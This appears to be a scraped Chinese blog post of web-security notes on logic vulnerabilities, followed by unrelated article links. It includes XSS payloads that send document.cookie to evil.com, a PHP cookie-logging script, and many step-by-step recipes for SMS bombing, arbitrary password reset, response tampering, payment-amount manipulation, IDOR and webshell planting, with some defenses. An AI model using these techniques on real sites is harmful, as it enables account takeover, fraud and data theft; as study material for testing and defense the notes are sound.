场景 - 登录

服务端
1
.
()拿到想要登录账号id
()注册账号登录-》退出登录-》登录拦截->修改id值为想要登录账号id-》成功登录想要登录账号 客户端
2.
(1)拿到想要登录账号id
(2)注册账号登录-》拦截修改返回包id-》账号界面状态改变(但无实际权限)

短信轰炸

.Fiddler抓包repeat
.burpsuite 修改 PHPSESSID ->字典爆破 如选择a-z
.burpsuite手机号遍历
防御:
设置图片验证码,每次获取短信验证码之间,先判定图片验证码的正确性。
设置时间限制,前端按钮设置点击事件时间限制。
设置服务器短信下发的时间间隔。
设置每个手机号时间段内获取短信的次数

 Cookie劫持

http://www.a.com/test.php?abc="><script src =http://evil.com/evil.js></script>

evil.js content:
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img); PS:log不一定要存在,因为在日志中会记录下这个过程
上面演示的就是最基本的xss 劫持Cookie的过程, 当你拿到用户cookie后,怎么用它登录服务器呢?在这个过程,方法很多,这里有两种方法: Burpsuit proxy 修改cookie
Firefox 插件 Data Tamper 截断请求修改cookie <?php
$cookie = $_GET['c'];
$ip = getenv('REMOTE_ADDR');
$time = data("j F, Y, g:i a");
$referer = getenv('HTTP_REFERER');
$fp = fopen('cookie.txt','a');
fwrite($fp.'Cookie: '.$cookie.'<br/> IP: '.$ip.'<br> Data and Time: '.$time.'<br>Referer: '.$referer.'<br><br>');
fclose($fp);
?>
将上述保存到自己服务器上,.php
然后在XSS处写入:
<script>document.location="http://your server/1.php?c="+document.cookie;</script>

Cookie欺骗

会话劫持(Session hijacking)

获取SessionID方式:
        暴力破解:尝试各种Session ID,直到破解为止;
       、预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
        窃取:使用网络嗅探,XSS攻击等方法获得。
     
       第三种攻击方式通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞
防御:
       、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       、 关闭所有phpinfo类dump request信息的页面。
       、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。
、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[].appendChild(img);

会话固定漏洞(Sessionid)

攻击者重置SessionID的方式:
      跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。    这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
 防御方法:
       、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
逻辑漏洞 - 密码重置
#修改字段 + 对重置密码页面未做授权
https://account.xx.com/forget/findAccount.htm?profile=blueforyou%40aliyun.com-profile-1327128258196715
https://account.xx.com/forget/reset.htm?profile=blueforyou%40aliyun.com-profile-1327128258196715 #对任意用户账号进行密码重置 - A用户重置修改A用户的某关键值如ID/手机号为B用户关键值ID/手机号 -》即可修改B用户密码 #密码重置过程对管理员账户/任意账户修改 -》 验证邮箱地址抓包拦截改为自己邮箱 -》 完成密码重置
#配合暴力破解 reset_password.htm

找回密码设计缺陷 验证码4位且未限制次数可爆破


#验证码非一次性(一段时间内有效) #通过邮箱可直接修改密码(创建新账号-修改已知账号密码) #未对邮箱做校验 #通过已知邮箱直接修改密码 - 无须验证 #网站可直接注册管理员账号(如admin) - 未对账号名做校验 #将注册用户的类型修改为超级管理员

在register.aspx将用户名和用户类型disabled掉
通过某些浏览器的功能可以将其删除造成可以自由操作该区域
在注册的时候抓取数据包,将"Register:ddIUserType"的值改为1也可以达到目的



#支付中未做短信验证 - 只需要支付密码验证 |  可对Web和手机端做对比

#修改单据数量为负数(如购买电影票时候将 票数gids数量值2改为 -) 

#修改支付金额为负数

#F12元素界面修改单据数量

#F12元素界面修改支付金额为负数|为0.01
#代码逻辑
$integral=$this->config["integral_com_comments"]*$_POST['time'];
.....
if($statis["integral"]<$integral){
$this->obj->ACT_msg("index.php?C=pay","你的".$this->config["integral_pricename"]."不足,请先充值");
}
.....
$nid=$this->obj->company_invtal($this->uid,$integral,false,"购买会员等级");
.... function company_invtal($uid,$integral,$auto=true,$name="",$pay=true,$pay_state=,$type="integral"){
if($auto){
$nid=$this->DB_update_all("company_statis","`".$type."`=`".$type."`+".$integral."","uid='".$uid."'");
}else{
$nid=$this->DB_update_all("company_statis","`".$type."`=`".$type."`-".$integral."","uid='".$uid."'");
$integral="-".$integral;
}
if($pay){
$dingdan=mktime().rand(,);
$value="`order_id`='".$dingdan."',";
$value.="`com_id`='".$uid."',";
$value.="`pay_remark`='".$name."',";
$value.="`pay_state`='".$pay_state."',";
$value.="`pay_time`='".mktime()."',";
$value.="`order_price`='".$integral."',";
if($type=="integral"){
$value.="`type`='1'";
}else{
$value.="`type`='2'";
}
$this->DB_insert_once("company_pay",$value);
}
return $nid;
}
#验证码处短信炸弹

#无须验证码(如抢票接口-实现并发抢票-无须排队)

#验证码和手机号码未做校验(如更改密码处直接输入手机号码-》输入任意验证码即可修改密码)

#修改参数值兑换金币(如兑换代金券页面抓包拦截修改参数needAmount=-)

#修改支付金额购买产品

#遍历用户信息(如修改ID值)

#通过浏览器调试模式修改变量值-》刷新页面-》值修改成功(如修改用户手机号码)

#修改购物数量为 -

#购物 - 同时生成两个订单号,一个贵的一个便宜,首先支付便宜的,银行返回的时候,替换订单号,完成两个订单的同时支付

#通过id遍历用户订单信息

http://m.xx.com/m.php?m=UserCenter&a=show_order&id=1234567
#取消用户订单
http://www.xx.com/index.php?m=UcOrder&a=del&id=1234567

#用户列表处存在重置密码 - 》 使用重置后的密码登录 inurl:userlist.aspx #使用Paypal充值时 ——》 在页面跳转到PayPal支付页面时,保存页面源码,修改支付金额为0. ->使用浏览器打开修改后源码页面 #留言处修改用户id和留言内容 ——》遍历用户留言 - 横向越权 #修改用户余额实现0.01元支付(http://pay.xx.com/index.php?r=default/pay这个地址的请求中,有一个useBalanceAmountV的参数,这个就是使用的余额) #修改兑换数量(如num值1-》) #遍历修改用户账号信息 (如用户B通过抓包修改Sdild值为用户A的Sdild值-》修改用户A信息) #F12修改页面元素-》如打赏金额为 - -》 点击打赏 ——》账号金额增加了888

#登录处 - 》 删除 /login.asp -》输入任意账号密码登录成功

将注册用户的类型修改为超级管理员
在register.aspx将用户名和用户类型disabled掉
通过某些浏览器的功能可以将其删除造成可以自由操作该区域
在注册的时候抓取数据包,将"Register:ddIUserType"的值改为1也可以达到目的

#密码找回 -》 输入用户名 admin -》 输入问题答案处编辑浏览器属性禁用 JavaScript -》 得到密码
次世代验证码识别系统

#密码找回处 -》 抓包修改 step参数绕过某些步骤验证

#密码找回处 ——》 使用自己账号的手机验证码替换任意账号密码找回时需要的验证码-》修改任意任意账号密码

#密码找回处 ——》 使用自己账号的手机验证码替换任意账号密码找回时需要的验证码 -》 需要进行名字和手机号是否对应时可将名字参数修改为空-》修改任意任意账号密码

#密码修改处 -》 输入原密码(提示原密码不正确) -》 抓包修改此时的response 0—》1

#密码找回处 -》 邮箱修改为自己的邮箱 -》 完成任意账号密码的修改

#密码找回处 -》 绕过验证码验证(第二步)-》 抓该包的返回包,复制返回的某个参数,替换掉已保存包的这个参数,此时直接输入重置密码及确认密码

#积分兑换处 -》 抓包拦截修改兑换金额超出实际已有的金额券 -》绕过逻辑校验完成积分兑换

#密码找回处 -》 验证邮箱链接: 时间戳+验证邮箱地址(经过base64编码)-》 对时间戳(1422416945)以正负10s进行爆破

#找回密码处-》输入手机号-》验证码四位长-》 抓包发现验证码经过base64编码-》整一份base64编码的4位数字字典进行爆破

#找回密码处-》使用注册时的验证码代替找回密码时需要的验证码->完成任意账号密码的修改

#登录处-》使用正确的响应包替换掉任意账号登录时的响应包-》登录任意账号

#重置口令处 ——> 输入用户名-》火狐浏览器-F12-网络-响应 ——》可在后续的响应中查看到口令答案-》提交——》使用Tamper Popup修改邮箱参数为自己的邮箱-》邮箱中收到密码

#购买商品 -》 选择两件商品加入订单 -》 数量一正一负 -》 提交订单

#机票 -》 改签管理-》 查询 -》 修改 queryType 3 -》 queryType 为 -1

#密码重置处 -》 修改username为任意用户username -》 完成任意username密码修改

#密码重置处 -》 打开两个窗口 -》 窗口一正常输入自己的手机号、验证码,跳转到修改密码页面停住,不在操作
-》 切到第二个窗口,输入要攻击的手机,点击发送验证码 -》
到第2步的修改密码页面,输入密码 -》 攻击的手机号的账号密码已成功修改

#密码找回处 - 》
http://vote.xx.cn/siteserver/forgetPassword.aspx
关闭js
输入用户名:admin
然后一直下一步
然后登陆后台,模板添加一句话,菜刀连接

#密码重置处 -》 {"status":-1} -》 {"status":0}

#密码重置 -》 获取验证码 -》 抓包拦截response -》 修改JS代码逻辑如 if(data==1)改为if(1) ->发包-》输入任意验证码 -》 完成密码重置

#密码重置处 -》 输入手机号-》输入任意验证码-》抓包拦截修改 1 为 0 -》 密码修改成功

#密码重置处 -》 输入手机号-》输入任意验证码-》抓包拦截修改手机号码 -》 密码修改成功

#密码重置处 -> 输入手机号点击获取验证码-》 填写任意验证码-》把错误响应码0修改成1-》绕过验证码验证 -》填写新密码-》完成密码修改

#密码重置处 -》 使用自己账号手机验证码点击提交-》抓包拦截将账号参数account修改为攻击账号-》完成攻击账号密码修改

#密码重置处 -》 1.先在网站注册一个账号
打开xx政务网 http://**.**.**.**/ -登录-找回密码 进入找回密码界面 -》输入刚注册的用户名 然后提交
选择通过绑定邮箱 找回登录密码 -》此时会有邮件发送到邮箱,进入邮箱 点开链接 会出现此页面 -》现在我们把这些操作命名为A 先不要关A -》
重新再打开一个xx政务网的页面 命名为B 执行操作 登录-注册-忘记密码-输入用户名。此时我可以输入我的另外一个账号 super1-》点击下一步的时候 会出现我的另一个邮箱 -》发送邮件-》发送完邮件后 继续A操作 输入新的用户名密码-》任意账号密码修改完成

#密码找回处 -》 找回密码处输入用户名和验证码-》通过手机绑定找回密码-》填写手机验证码-》填写新密码-》打开新找回密码页面输入目标账号,走完发送短信流程,回到填写新密码页面提交-》完成目标账号密码修改

#密码重置处-》 填写手机号-》输入验证码-》抓包拦截修改request的Username(需要修改账号),修改response中0改为1-》发包完成任意账号密码修改

#密码重置处-》输入会员名和手机号-》获取短信验证码-》输入验证码提交-》抓包查看返回值(USR_ID)->输入密码提交-》抓包查看request data数据只需要newpassword和USR_ID -》 修改USR_ID(可通过暴力破解方式获取)发送请求-》即可修改其他账号密码

#密码找回处-》选择普通会员找回密码-》输入身份证号和验证码-》获取验证码提交-》输入新密码提交-》抓包拦截修改攻击登录名即身份证号-》发包完成攻击登录名密码修改

#找回密码处-》使用自己账号自己手机验证码替换攻击账号需要输入的验证码-》完成攻击账号密码修改

#找回密码处-》输入admin账号-》选择找回方式为手机号找回-》输入手机号点击获取验证码-》抓包查看response中出现验证码-》输入验证码-》完成密码修改

#找回密码处 -》输入手机号13888888888,获取验证码,抓包-》替换返回包false替换为true-》填写密码-》完成任意账号密码修改

#找回密码处 -》 写入他人手机号点击获取验证短信——》抓包拦截把phone的手机号改为自己的手机号-》下一步-》完成他人手机号对应的账号密码找回

#修改昵称处 -》 点击修改昵称-》修改用户100的用户名为999 -》抓包修改u_ID cy_uid为用户200的u_ID cy_uid-》账号用户200用户名被修改成999

#头像修改处 -》 修改uid为于是换将uid换成497,发现上传成功。但发现我没法验证是否真的修改了497的头像。由于我是新建用户,所以uid应该是最后一个,将uid改成499,也就是还没有注册过的id,这样,我就可以新建一个499的账户来进行验证

#越权登录别人账号 -》 使用自己账号登录成功 -》 修改url中的loginid=自己账号ID 为 loginid=admin -》越权使用admin账号访问页面

#登录界面 -》 输入账号密码 -》 验证页面 -》 这里直接就有一个手机号,刷新一下页面手机号还会变。这种情况导致随机登录他人账号 -》 输入自己的手机号-》填写验证码提交 -》此时会跳转到随机的一个账户的论坛页面 -》 实现越权使用任意账号

#抽奖处 - 》 遍历订单号发包 —》刷奖金、兑换券

#遍历关键字-》返回用户敏感信息

#用户注册处-》使用邮箱注册-》邮箱验证地址https://www.guangxindai.com/third/email_auth/82185/a9f1dfea8b13c08514c3c480759589e6/9ed279008f0c21ac7621dc1475075b6d/1438052747
-》82185应该是uid 随便改成一个数字1 然后访问
https://www.guangxindai.com/third/email_auth/1/a9f1dfea8b13c08514c3c480759589e6/9ed279008f0c21ac7621dc1475075b6d/1438052747
-》82151改为1-》登录了管理员账号

#登录管理页面 -》 js验证页面跳转 -》 禁用活动脚本 -》 得到管理员权限

#付费资源修改为自己资源实现免费 -》 先随便注册个帐号,再创建个课程,保存草稿-》进入修改页面-》我们需要改url上的课程参数,随机抽取了一个课程id为14320-》接着我们改url为14320,设为免费-》点发布——》点下原作者的链接,发现没有对应的课程-》再点下搜索到课程,进入详细页面发现课程免费且据为己有

#邮箱验证绕过登录 -》 verifyEmail.do?name=866xx7550@qq.com&appId=1006 -》点击验证 -》 点击再次验证 -》 抓包拦截(发现key值相同)-》修改邮件地址为自己的邮件地址 -》 完成登录验证绕过

#购物 -》 确定订单-》修改addressid-》查看其他用户地址信息

#购物 - 》 提交订单处使用多线程并发(可用2个线程进行尝试) ——》优惠券在两个进程中都可以使用

#支付 -》 填写支付金额100 -》 抓包拦截修改支付金额为 0.01 -》 发包

#支付 -》 前者为商品价格-》后者为支付金额 -》修改后者金额为 -100

验证码 -》 输入手机号 -》 获取验证码 -》 拦截抓包查看response - > message字段(url编码)为验证码内容 -》 修改message发包-》短信内容被修改


#Cookie信息泄露导致任意用户登录(在共享时,选择共享的用户自动展示出所有的用户-》此时查看源码response可能就会存在cookie信息-》利用Cookie登录账号)

Self.do?method=findInfo&userLogin=null   #个人信息页面

Self.do?method=changemobile&mobile=手机号码&userLogin=用户名   #手机号修改接口

应用安全 - Web安全 - 逻辑漏洞整理的更多相关文章

  1. WEB安全--逻辑漏洞

    业务逻辑问题是一种设计缺陷.逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误.精明的攻击者会特别注意目标应用程序采用的逻辑方式,设法了解设计者与开发者做出的可能假设,然后考虑 ...

  2. [web 安全]逻辑漏洞之密码重置

    原文:http://wooyun.jozxing.cc/static/drops/web-5048.html 密码找回逻辑一.用户凭证(密码找回的凭证太弱,暴力破解)1.当当网任意用户密码修改漏洞(h ...

  3. 应用安全-Web安全-越权漏洞整理

    login->register GetPhone->GetPasswd GetPwd->GetPassword 遍历https://xx.com/contacts/new?user_ ...

  4. Web安全测试中常见逻辑漏洞解析(实战篇)

    Web安全测试中常见逻辑漏洞解析(实战篇) 简要: 越权漏洞是比较常见的漏洞类型,越权漏洞可以理解为,一个正常的用户A通常只能够对自己的一些信息进行增删改查,但是由于程序员的一时疏忽,对信息进行增删改 ...

  5. WEB安全第七篇--终结篇考验逻辑思维:逻辑漏洞大汇总(越权、会话逻辑、业务逻辑、暴力破解)

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  6. 基于 burpsuite的web逻辑漏洞插件开发(来自JSRC安全小课堂,柏山师傅)

    基于 burpsuite的web逻辑漏洞插件开发 BurpSuite 提供了插件开发接口,支持Java.Python.Ruby语言的扩展.虽然 BApp Store 上面已经提供了很多插件,其中也不乏 ...

  7. Web安全常见漏洞修复建议

    转载地址:https://security.pingan.com/blog/17.html SQL注入 在服务器端要对所有的输入数据验证有效性. 在处理输入之前,验证所有客户端提供的数据,包括所有的参 ...

  8. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  9. .NET Web开发技术简单整理

    在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...

随机推荐

  1. ex2、逻辑回归

    介绍: 在本练习中,您将实现逻辑回归,并将其应用于两个不同的数据集.在开始编程练习之前,我们强烈要求建议观看视频讲座并完成相关主题的问题.要开始练习,您需要下载起始代码并将其内容解压缩到要完成练习的目 ...

  2. 2019 Multi-University Training Contest 2 - 1008 - Harmonious Army - 最大流

    http://acm.hdu.edu.cn/showproblem.php?pid=6598 一开始就觉得是网络流,但是一直都不会怎么建图. 这里要考虑. 每一组边(u,v,a,b,c)建立如下的连接 ...

  3. 一台电脑关联多个git账号

    一台电脑连接多个git账号 现需要一台电脑连接gitlab,github,码云,之前的操作时,用公司账号,在这几个地方都注册一遍,导致自己就有两类号,一个自己的,一个公司的,这样也是可以,但总是不太好 ...

  4. ElasticSearch 7.x 默认不在支持指定索引类型

    原文:ElasticSearch 7.x 默认不在支持指定索引类型 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://bl ...

  5. ssh传文件

    #coding=utf-8 import paramiko transport = paramiko.Transport(('192.168.70.129',22)) transport.connec ...

  6. SSM商城系统开发笔记-问题01-通配符的匹配很全面, 但无法找到元素 'mvc:annotation-driven' 的声明。

    配置搭建完后进行Post请求测试时报错: Caused by: org.xml.sax.SAXParseException; lineNumber: 14; columnNumber: 29; cvc ...

  7. 遍历并读取指定目录下的所有文件内容,写入Map集合然后输出在控制台和本地文件

    public class FileWrite { public static void main(String[] args) throws Exception { //封装数据源目录 File sr ...

  8. There is no Action mapped for namespace [/] and action name [TestAction] ass

    1.修改action的name值 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strut ...

  9. [小试牛刀]部署在IDEA的JFinal 3.0 demo

    进入JFinal 极速开发市区:http://www.jfinal.com/ 如上图,点击右边的最新下载:JFinal 3.0 demo - 此过程跳过注册\登录过程, 进入到如下,下载 下载并解压到 ...

  10. 实现 unity MonoBehaviour API5.4 的消息

      顺序(第一次执行.忽略循环) 方法 说明 Editor 1 void Reset() 重置为默认值 ------------------------------------------------ ...